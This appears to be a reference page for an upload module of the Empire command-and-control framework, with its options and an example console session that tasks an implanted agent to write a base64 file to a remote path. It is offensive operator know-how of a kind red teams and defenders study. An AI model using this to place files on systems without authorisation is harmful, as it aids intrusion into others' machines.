Upload - Empire Module


This page contains detailed information about how to use the csharp/DotNetCore/Upload Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Upload
Module: csharp/DotNetCore/Upload
Source code: empire/server/modules/csharp/DotNetCore.Covenant.yaml#L1542
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The Upload module uploads a file.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the Upload module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the Upload module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: NetCore31.
Suggested values: NetCore31.

FileContents
Base64 contents of the file to be written.

FilePath
Remote file path to write to.

Upload Example Usage

Here's an example of how to use the Upload module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/DotNetCore/Upload

 Author       cobbr_io                 
 Background   False                    
 Description  Upload a file.           
 Language     csharp                   
 Name         csharp/DotNetCore/Upload 
 NeedsAdmin   False                    
 OpsecSafe    False                    


,Record Options-,-----------,----------,-----------------------------------,
| Name          | Value     | Required | Description                       |
|---------------|-----------|----------|-----------------------------------|
| Agent         |           | True     | Agent to run module on.           |
|---------------|-----------|----------|-----------------------------------|
| DotNetVersion | NetCore31 | True     | .NET version to compile against   |
|---------------|-----------|----------|-----------------------------------|
| FileContents  |           | True     | Base64 contents of the file to be |
|               |           |          | written.                          |
|---------------|-----------|----------|-----------------------------------|
| FilePath      |           | True     | Remote file path to write to.     |
'---------------'-----------'----------'-----------------------------------'

(Empire: usemodule/csharp/DotNetCore/Upload) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/DotNetCore/Upload) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/DotNetCore/Upload) > set FileContents value
[*] Set FileContents to value
(Empire: usemodule/csharp/DotNetCore/Upload) > set FilePath value
[*] Set FilePath to value
(Empire: usemodule/csharp/DotNetCore/Upload) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/DotNetCore/Upload) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/DotNetCore/Upload) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • cobbr_io

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.